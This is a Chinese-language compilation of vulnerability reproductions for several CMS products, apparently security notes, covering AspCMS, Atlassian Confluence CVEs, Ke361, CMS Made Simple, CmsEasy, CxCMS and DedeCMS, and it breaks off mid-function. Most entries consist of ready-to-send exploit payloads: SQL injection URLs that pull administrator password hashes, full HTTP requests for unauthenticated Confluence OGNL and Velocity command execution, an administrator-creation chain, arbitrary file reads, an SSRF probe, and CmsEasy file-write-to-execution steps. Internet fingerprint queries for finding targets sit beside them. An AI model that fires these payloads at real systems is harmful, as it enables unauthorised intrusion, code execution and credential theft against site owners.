CMS漏洞


IP签名

CMS

AspCMS

AspCMS commentList.asp SQL注入漏洞

漏洞描述

AspCMS commentList.asp 存在SQL注入漏洞,攻击者通过漏洞可以获取管理员md5的密码

漏洞影响

AspCMS

网络测绘

app=”ASPCMS”

漏洞复现

通过网站源码响应判断CMS

img

验证POC

/plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user

img

成功获取管理员账号以及密码的MD5

Atlassian confluence

CVE-2019-3396

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)

Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。

参考资料:

漏洞影响

Atlassian Atlassian Confluence < 6.6.12

Atlassian Atlassian Confluence 6.7.0-6.12.2

Atlassian Atlassian Confluence < 6.13.3

Atlassian Atlassian Confluence < 6.14.2

网络测绘

app=”ATLASSIAN-Confluence”

环境搭建

执行如下命令启动一个Confluence Server 6.10.2:

docker compose up -d

环境启动后,访问http://your-ip:8090会进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书:

然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。

如果提示填写cluster node,路径填写/home/confluence即可:

后续可能要求你填写数据库账号密码,选择postgres数据库,地址为db,账号密码均为postgres

漏洞复现

发送如下数据包,即可读取文件web.xml

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,也可以通过https://...来加载远程文件。

该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令:

image-20240805151841674

CVE-2021-26084

Atlassian Confluence OGNL表达式注入命令执行漏洞(CVE-2021-26084)

Atlassian Confluence是企业广泛使用的wiki系统,其部分版本中存在OGNL表达式注入漏洞。攻击者可以通过这个漏洞,无需任何用户的情况下在目标Confluence中执行任意代码。

参考链接:

漏洞影响

Atlassian Atlassian Confluence < 7.4.11

Atlassian Atlassian Confluence < 7.11.6

Atlassian Atlassian Confluence < 7.13.0

Atlassian Atlassian Confluence < 6.13.23

Atlassian Atlassian Confluence < 7.12.5

网络测绘

app=”ATLASSIAN-Confluence”

环境搭建

执行以下命令启动一个Confluence 7.4.10 data center 试用版本服务器:

docker compose up -d

环境启动后,访问http://your-ip:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。在填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres

漏洞利用

image-20240811100630780

有多个接口可以触发这个OGNL表达式注入漏洞。

/pages/doenterpagevariables.action

这个接口不需要登录即可利用,发送如下数据包,即可看到233*233已被执行:

POST /pages/doenterpagevariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027

执行任意命令:

queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027

/pages/createpage-entervariables.action

这个路径也不需要用户登录:

POST /pages/createpage-entervariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027

/pages/createpage.action

这个接口需要一个可以创建页面的用户权限:

GET /pages/createpage.action?spaceKey=EX&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 HTTP/1.1
Host: 192.168.1.162:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.162:8090/template/custom/content-editor.vm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=7B35600F54A9E303CE8C277ED960E1E7; seraph.confluence=524289%3A2ac32a308478b9cb9f0e351a12470faa4f2a928a
Connection: close

CVE-2022-26134

Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)

Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。

参考链接:

漏洞影响

7.4.17

7.13.7

7.14.3

7.15.2

7.16.4

7.17.4

7.18.1

网络测绘

app=”ATLASSIAN-Confluence”

漏洞环境

执行如下命令启动一个Confluence Server 7.13.6:

docker compose up -d

环境启动后,访问http://your-ip:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。在填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres

漏洞复现

该漏洞利用方法十分简单,直接发送如下请求即可执行任意命令,并在HTTP返回头中获取执行结果:

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

其中使用到的OGNL表达式为${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

CVE-2023-22515

Confluence 属性覆盖导致权限绕过漏洞 (CVE-2023-22515)

Atlassian Confluence是企业广泛使用的wiki系统。

2023年10月4日,Atlassian官方发布了对于CVE-2023-22515漏洞的补丁。这个漏洞是由属性覆盖导致,利用该漏洞攻击者可以重新执行Confluence安装流程并增加管理员账户。

该漏洞不影响8.0.0以前的版本。

参考链接:

漏洞环境

执行如下命令启动一个Confluence Server 8.5.1:

docker compose up -d

环境启动后,访问http://your-ip:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。在填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres

漏洞复现

首先,最主要的请求就是覆盖目标Confluence服务器中的bootstrapStatusProvider.applicationConfig.setupComplete属性:

GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0

然后,你就可以使用如下请求创建一个新的管理员账户vulhub

POST /setup/setupadministrator.action HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
X-Atlassian-Token: no-check

username=vulhub&fullName=vulhub&email=admin%40vulhub.org&password=vulhub&confirm=vulhub&setup-next-button=Next

发送如下请求完成安装步骤:

POST /setup/finishsetup.action HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
X-Atlassian-Token: no-check

最后,直接使用新的vulhub账户(密码同样是vulhub)来登录Confluence,可见新的管理员已成功增加:

image-20240805152020482

CVE-2023-22527

Confluence OGNL表达式注入命令执行漏洞(CVE-2023-22527)

Atlassian Confluence是企业广泛使用的wiki系统。

在Confluence 8.0到8.5.3版本之间,存在一处由于任意velocity模板被调用导致的OGNL表达式注入漏洞,未授权攻击者利用该漏洞可以直接攻击Confluence服务器并执行任意命令。

参考链接:

漏洞环境

执行如下命令启动一个Confluence Server 8.5.3:

docker compose up -d

环境启动后,访问http://your-ip:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。在填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres

漏洞复现

该漏洞利用方法十分简单,直接发送如下请求即可执行任意命令,并在HTTP返回头中获取执行结果:

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 285

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

在Confluence 7.18.0版本后,官方开发者为其引入了isSafeExpression函数来限制执行恶意OGNL表达式。安全研究者Alvaro Muñoz分享了一种利用velocity模板中的#request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(String, Object)来获取无沙箱的OGNL对象并执行任意语句的绕过方法,完整并解码后的Payload如下:

'+(#request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"})),{}))+'

Ke361

AuthManagerController.class.php 后台SQL注入漏洞

漏洞描述

Ke361 AuthManagerController.class.php uid参数存在 SQL注入漏洞,通过漏洞可以获取数据库敏感信息

漏洞影响

Ke361

环境搭建

https://gitee.com/jcove/ke361

漏洞复现

CMS产品页面

img

存在漏洞的文件为 Application/Admin/Controller/AuthManagerController.class.php

img

验证POC

/admin.php?s=/AuthManager/group/uid/1')%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+

image-20240806103429366

DistrictController.class.php 后台SQL注入漏洞 CNVD-2021-25002

漏洞描述

Ke361 DistrictController.class.php index() 函数 pid参数存在 SQL注入漏洞,通过漏洞可以获取数据库敏感信息

漏洞影响

Ke361

环境搭建

https://gitee.com/jcove/ke361

漏洞复现

CMS产品页面

img

存在漏洞的文件为 Application/Admin/Controller/DistrictController.class.php

img

验证POC

admin.php?s=/District/index/pid/1)%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+

img

GoodsController.class.php SSRF漏洞

漏洞描述

Ke361 GoodsController.class.php URL参数存在 SSRF漏洞,通过漏洞可以获取敏感信息

漏洞影响

Ke361

环境搭建

https://gitee.com/jcove/ke361

漏洞复现

CMS产品页面

img

存在漏洞的文件为 Application/Home/Controller/GoodsController.class.php

img

URL参数无任何过滤,传入 file_get_contents函数,造成SSRF漏洞,构造请求

POST /index.php?s=/Goods/ajGetGoodsDetial
 
url=http://6si2gt.dnslog.cn

img

image-20240806103540658

漏洞描述

Ke361 MenuController.class.php文件 index() 函数中的pid参数存在 SQL注入漏,导致攻击者通过漏洞可以获取数据库敏感信息

漏洞影响

Ke361

环境搭建

https://gitee.com/jcove/ke361

漏洞复现

CMS产品页面

img

存在漏洞的文件为 Application/Admin/Controller/MenuController.class.php

img

Get 传参 pid 传入SQL语句

SELECT `id`,`title`,`pid`,`sort`,`url`,`hide`,`tip`,`group`,`is_dev`,`status` FROM `ke_menu` WHERE (id=1)

使用括号闭合语句,构造SQL注入

/admin.php?s=/Menu/index/pid/1)%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+

image-20240806103610435

TopicController.class.php SQL注入漏洞 CNVD-2017-04380

漏洞描述

Ke361 TopicController.class.php 文件中 detai() 函数中存在 SQL注入漏洞

漏洞影响

Ke361

环境搭建

https://gitee.com/jcove/ke361

漏洞复现

CMS产品页面

img

存在漏洞的文件为 Application/Home/Controller/TopicController.class.php, 漏洞函数详情

img

public function detail(){
         $id = I('id');
         $where['tid'] = $id;
         $TopicModel = new TopicModel();
         $topicInfo = $TopicModel->info($id);
        //  if(empty($topicInfo)){
        //      $this->error('您查看的专题不存在哦!');
        //  }
  			//  这里注释掉,默认不存在专题
         M('Topic')->where('id='.$id)->setInc('hits');
         $this->setSiteTitle($topicInfo['title']);
         $goods = $this->lists(D('Goods'),$where);
         foreach ($goods as $k=>$v){
             $goods[$k]['url'] = U('/goods/'.$v['id']);
         }
         $this->assign('goods',$goods);
         $this->assign('topic',$topicInfo);
         $this->display();
     }

这里接收参数 id,然后执行SQL语句, 通过报错注入可以获取数据库数据

/index.php?s=/Topic/detail/id/1)%20%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+

img

image-20240806103703688

cmscms

CVE-2019-9053

CMS Made Simple (CMSMS) < 2.2.10 前台SQL注入漏洞(CVE-2019-9053)

CMS Made Simple(CMSMS)是一个免费的开放源码内容管理系统,为开发人员、程序员和网站所有者提供基于网络的开发和管理功能。

在 2.2.9.1 之前的版本中,CMS Made Simple 存在一个未验证的 SQL 注入漏洞,攻击者可利用该漏洞获取管理员密码或密码重置令牌。结合后台的 SSTI 漏洞(CVE-2021-26120),攻击者可在目标服务器上执行任意代码。

参考链接:

漏洞环境

执行如下命令启动一个CMS Made Simple 2.2.9.1服务器:

docker compose up -d

环境启动后,你需要访问http://your-ip/install.php并安装CMS服务。

安装过程请根据页面中的安装向导来进行,其中MySQL数据库的地址是db,数据库名是cmsms,账号和密码均为root

漏洞复现

使用https://www.exploit-db.com/exploits/46635中的脚本来利用SQL注入漏洞:

python2 poc.py -u http://127.0.0.1

可见,管理员密码已经被该脚本获取。

CVE-2021-26120

CMS Made Simple (CMSMS) 前台代码执行漏洞(CVE-2021-26120)

CMS Made Simple(CMSMS)是一个免费的开放源码内容管理系统,为开发人员、程序员和网站所有者提供基于网络的开发和管理功能。

Smarty 3.1.39 之前的版本允许在 {function name= 子串后注入PHP代码,导致代码注入漏洞,该漏洞即为CVE-2021-26120。

CMS Made Simple 版本 <= 2.2.15,拥有设计师权限的用户可以在后台利用服务端模板注入漏洞,即为前面提到的CVE-2021-26120。

因此,如果CMSMS版本低于2.2.9.1,未授权的攻击者可以结合CVE-2019-9053和CVE-2021-26120漏洞,在服务器上执行任意代码。

参考链接:

漏洞环境

执行如下命令启动一个CMS Made Simple 2.2.9.1服务器:

docker compose up -d

环境启动后,你需要访问http://your-ip/install.php并安装CMS服务。

安装过程请根据页面中的安装向导来进行,其中MySQL数据库的地址是db,数据库名是cmsms,账号和密码均为root

漏洞复现

使用https://srcincite.io/pocs/cve-2021-26120.py.txt中分享的POC,可以使用SQL注入漏洞重置管理员密码,并执行任意命令:

python poc.py 127.0.0.1 / id

可见,id命令已被成功执行。

CmsEasy

crossall_act.php SQL注入漏洞

漏洞描述

CmsEasy 存在SQL注入漏洞,通过文件 service.php 加密SQL语句执行即可执行任意SQL命令

影响版本

CmsEasy V7.7.5_20210919

网络测绘

body=”cmseasyedit”

环境搭建


img

漏洞复现

主页面

img

存在漏洞的文件为 lib/default/crossall_act.php

img

其中需要注意的代码为

function execsql_action(){
        $sqlquery=front::get("sql");
        $sqlquery=service::getInstance()->unlockString($sqlquery,"cmseasy_sql");

        $returndata=tdatabase::getInstance()->rec_query_one($sqlquery);
        echo json_encode($returndata);
        exit;
    }
    function execsqls_action(){
            $sqlquery=front::get("sql");
            $sqlquery=service::getInstance()->unlockString($sqlquery,"cmseasy_sql");

            $returndata=tdatabase::getInstance()->rec_query($sqlquery);
            echo json_encode($returndata);
            exit;
        }
    function execupdate_action(){
        $sqlquery=front::get("sql");
        $sqlquery=service::getInstance()->unlockString($sqlquery,"cmseasy_sql");

        $returndata=tdatabase::getInstance()->query($sqlquery);
        echo json_encode($returndata);
        exit;
    }

代码中传入参数 sql, 然后使用方法 unlockString 解码执行 SQL语句

查看文件 lib/table/service.php

public static function lockString($txt,$key='cmseasy_sql')
    {
        $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-=+";
        $nh = rand(0,64);
        $ch = $chars[$nh];
        $mdKey = md5($key.$ch);
        $mdKey = substr($mdKey,$nh%8, $nh%8+8);
        $txt = base64_encode($txt);
        $tmp = '';
        $i=0;$j=0;$k = 0;
        for ($i=0; $i<strlen($txt); $i++) {
            $k = $k == strlen($mdKey) ? 0 : $k;
            $j = ($nh+strpos($chars,$txt[$i])+ord($mdKey[$k++]))%64;
            $tmp .= $chars[$j];
        }
        return urlencode($ch.$tmp);
    }

    /**对字符串进行解密。 crossall_act文件使用
     * @param $txt
     * @param string $key
     * @return bool|string
     */
    public static function unlockString($txt,$key='cmseasy_sql')
    {
        $txt = urldecode($txt);
        $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-=+";
        $ch = $txt[0];
        $nh = strpos($chars,$ch);
        $mdKey = md5($key.$ch);
        $mdKey = substr($mdKey,$nh%8, $nh%8+8);
        $txt = substr($txt,1);
        $tmp = '';
        $i=0;$j=0; $k = 0;
        for ($i=0; $i<strlen($txt); $i++) {
            $k = $k == strlen($mdKey) ? 0 : $k;
            $j = strpos($chars,$txt[$i])-$nh - ord($mdKey[$k++]);
            while ($j<0) $j+=64;
            $tmp .= $chars[$j];
        }
        return base64_decode($tmp);
    }

文件中得到了 $key='cmseasy_sql' 和加解密方法,构造请求获取账号密码md5

img

/?case=crossall&act=execsql&sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5

image-20240806102240726

language_admin.php 后台命令执行漏洞

漏洞描述

CmsEasy 后台存在命令执行漏洞,通过文件 language_admin.php 对部分文件进行写入操作,导致任意文件写入

影响版本

CmsEasy V7.7.5_20210919

网络测绘

body=”cmseasyedit”

环境搭建


img

漏洞复现

主页面

img

存在漏洞的文件为 lib/admin/language_admin.php

img

function add_action() {
        $lang_choice='system.php';
        if (isset($_GET['lang_choice'])){
            $lang_choice=$_GET['lang_choice'];
        }
        if (front::post('submit')) {
            $langid=front::get('id');
            $lang=new lang();
            $langdata = $lang->getrows('id='.$langid, 1);
            if (is_array($langdata)){
                $langurlname=$langdata[0]['langurlname'];
            }else{
                front::alert(lang_admin('language_pack').lang_admin('nonentity'));
            }
            $path=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;
            $tipspath=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;
            $content=file_get_contents($path);
            $tipscontent=file_get_contents($tipspath);
            $replace="'".front::$post['key']."'=>'".front::$post['val']."',";
            $tipsreplace="'".front::$post['key']."'=>'".front::$post['cnnote']."',";
            $content=str_replace(');',"\n".$replace.');',$content);
            file_put_contents($path,$content);
            $pos=strpos($tipscontent,$tipsreplace);
            if ($langurlname != 'cn'&&$pos === false) {
                $tipscontent=str_replace(');',"\n".$tipsreplace.');',$tipscontent);
                file_put_contents($tipspath,$tipscontent);
            }
            if ($_GET['site'] != 'default') {
                $ftp=new nobftp();
                $ftpconfig=config::get('website');
                $ftp->connect($ftpconfig['ftpip'],$ftpconfig['ftpuser'],$ftpconfig['ftppwd'],$ftpconfig['ftpport']);
                $ftperror=$ftp->returnerror();
                if ($ftperror) {
                    exit($ftperror);
                }
                else {
                    $ftp->nobchdir($ftpconfig['ftppath']);
                    $ftp->nobput($ftpconfig['ftppath'].'/lang/'.$langurlname.'/'.$lang_choice,$path);
                }
            }
            event::log(lang_admin('add_to').lang_admin('language_pack'),lang_admin('success'));
            //
            $shepi='<script type="text/javascript">alert("'.lang_admin('dosomething').lang_admin('complete').'");gotoinurl("'.url('language/edit/id/'.$langdata[0]['id'],true);
            $shepi=$shepi.'&lang_choice='.$lang_choice;
            $shepi=$shepi.'");</script>';
            echo $shepi;
            //exit;
            //front::refresh(url('language/edit',true));
        }
        $this->view->lang_choice=$lang_choice;
    }

访问这个页面

img

其中参数有三个,分别为 key , cnnote, val

img

传入参数后,查看 lang/cn/system_custom.php 文件中

<?php
/*
 *中文语言包
 */

return

array(


'2'=>'3',);
?>

由于没有对传入的参数进行过滤,通过写入特殊的参数就可以逃逸出数组造成命令执行

分别传入两次参数

test1  test2  test3);

写入后文件内容

<?php
/*
 *中文语言包
 */

return

array(

'test2'=>'test3);',);
?>

再传入一次参数

test4  ,test5, 	,phpinfo());/*

img

写入后文件内容

img

访问文件 /lang/cn/system_custom.php

img

若有收获,就点个赞吧

update_admin.php 后台任意文件上传漏洞

漏洞描述

CmsEasy 后台存在任意文件上传漏洞,通过文件 service.php 加密Url参数执行即可上传任意文件

影响版本

CmsEasy V7.7.5_20210919

网络测绘

body=”cmseasyedit”

环境搭建


img

漏洞复现

主页面

img

存在漏洞的文件为 lib/admin/update_admin.php

img

其中需要注意的代码为

function downfile_action()
    {
        $url = front::get('url');
        $url=service::getInstance()->unlockString($url,"cmseasy_url");
        $res = $this->get_file($url, 'cache');
        if (!$res) {
            $res = array(
                'err' => 1,
                'data' => lang_admin('update_package_download_failed'),
            );
        } else {
            @unlink('upgrade/config_cn.php');
            @unlink('upgrade/config_cn.tmp.php');
            @unlink('upgrade/upgrade.sql');
            @unlink('upgrade/command.php');
            front::remove(ROOT.'/cache/data');
            front::remove(ROOT.'/cache/template');//清空全部语言
            $langdata=getlang();
            if($langdata != ""){
                foreach ($langdata as $key=>$val){
                    front::remove(ROOT.'/cache/'.$val['langurlname']);
                    front::remove(ROOT.'/'.$val['langurlname'].'/template');
                }
            }
            //先清空缓存
            user::deletesession();
            category::deletesession();
            //提取分类
            if(file_exists(ROOT."/lib/table/type.php")) {
                type::deletesession();
            }
            //提取专题
            if(file_exists(ROOT."/lib/table/special.php")) {
                special::deletesession();
            }
            $archive = new PclZip('cache/patch.zip');
            $archive->extract(PCLZIP_OPT_PATH, ROOT, PCLZIP_OPT_REPLACE_NEWER);

            if(file_exists('upgrade/upgrade.sql')) {
                $sqlquery = file_get_contents('upgrade/upgrade.sql');
                $sqlquery = str_replace('`cmseasy_', '`' . config::getdatabase('database', 'prefix'), $sqlquery);

                $sqlquery = str_replace("\r", "", $sqlquery);
                $sqls = preg_split("/;(--)*[ \t]{0,}\n/", $sqlquery);
                $this->exec_cms_sql($sqls);
            }

            if(file_exists('upgrade/command.php')){
                include ROOT . '/upgrade/command.php';
            }
            $res = array(
                'err' => 0,
                'message' => $this->message,
                'data' => lang_admin('upgrade_successful'),
            );
        }

        echo json_encode($res);
        exit;
    }

其中使用 unlockString 和 get_file 方法

$url = front::get('url');
$url=service::getInstance()->unlockString($url,"cmseasy_url");
$res = $this->get_file($url, 'cache');

img

写入后在上层目录写入文件,即Web根目录,创建压缩包并上传可访问的服务器上

zip phpinfo.zip phpinfo.php

构造下载请求

img

/index.php?case=update&act=downfile&admin_dir=admin&site=default&url=buTdBnP8%3DJ%3DELYuF8Z2IwZyM-awr9fH%3D0cax6mxICukxw

img

image-20240806102437989

CxCMS

Resource.ashx 任意文件读取漏洞

漏洞描述

CxCMS 存在任意文件读取,由于 /Sys/Handler/Resource.ashx 页面 _FilePath 参数过滤不严,导致可以读取系统敏感文件。

漏洞影响

CxCMS

网络测绘

“Powered by CxCms”

漏洞复现

关键字确认CMS

img

验证POC

/Sys/Handler/Resource.ashx?_FilePath=../../web.config

image-20240806102646718

DedeCMS

common.func.php 远程命令执行漏洞

漏洞描述

DocCMS flink.php 文件存远程命令执行漏洞,攻击者通过漏洞可以执行任意命令

漏洞影响

DedeCMS v5.81 beta 内测版

网络测绘

“DedeCMS_V5.8.1”

漏洞复现

产品页面

img

查看文件 include/common.func.php 的 ShowMsg方法

img

function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
    if (empty($GLOBALS['cfg_plus_dir'])) {
        $GLOBALS['cfg_plus_dir'] = '..';
    }
    if ($gourl == -1) {
        $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
        if ($gourl == "") {
            $gourl = -1;
        }
    }

    $htmlhead = "
    <html>\r\n<head>\r\n<title>DedeCMS提示信息</title>\r\n
    <meta http-equiv=\"Content-Type\" content=\"text/html; charset={dede:global.cfg_soft_lang/}\" />
    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\">
    <meta name=\"renderer\" content=\"webkit\">
    <meta http-equiv=\"Cache-Control\" content=\"no-siteapp\" />
    <link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css\" />
    <link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/css/manage.dede.css\">
    <base target='_self'/>
    </head>
    <body>
    " . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "
    <center style=\"width:450px\" class=\"uk-container\">
    
    <div class=\"uk-card uk-card-small uk-card-default\" style=\"margin-top: 50px;\">
        <div class=\"uk-card-header\"  style=\"height:20px\">DedeCMS 提示信息!</div>

    <script>\r\n";
    $htmlfoot = "
    </script>
    
    
    </center>
    
    <script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js\"></script>
	<script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js\"></script>
    </body>\r\n</html>\r\n";

    $litime = ($limittime == 0 ? 1000 : $limittime);
    $func = '';

    if ($gourl == '-1') {
        if ($limittime == 0) {
            $litime = 3000;
        }

        $gourl = "javascript:history.go(-1);";
    }

    if ($gourl == '' || $onlymsg == 1) {
        $msg = "<script>alert(\"" . str_replace("\"", "“", $msg) . "\");</script>";
    } else {
        //当网址为:close::objname 时, 关闭父框架的id=objname元素
        if (preg_match('/close::/', $gourl)) {
            $tgobj = trim(preg_replace('/close::/', '', $gourl));
            $gourl = 'javascript:;';
            $func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";
        }

        $func .= "var pgo=0;
      function JumpUrl(){
        if(pgo==0){ location='$gourl'; pgo=1; }
      }\r\n";
        $rmsg = $func;
        $rmsg .= "document.write(\"<div style='height:130px;font-size:10pt;background:#ffffff'><br />\");\r\n";
        $rmsg .= "document.write(\"" . str_replace("\"", "“", $msg) . "\");\r\n";
        $rmsg .= "document.write(\"";

        if ($onlymsg == 0) {
            if ($gourl != 'javascript:;' && $gourl != '') {
                $rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
                $rmsg .= "<br/></div>\");\r\n";
                $rmsg .= "setTimeout('JumpUrl()',$litime);";
            } else {
                $rmsg .= "<br/></div>\");\r\n";
            }
        } else {
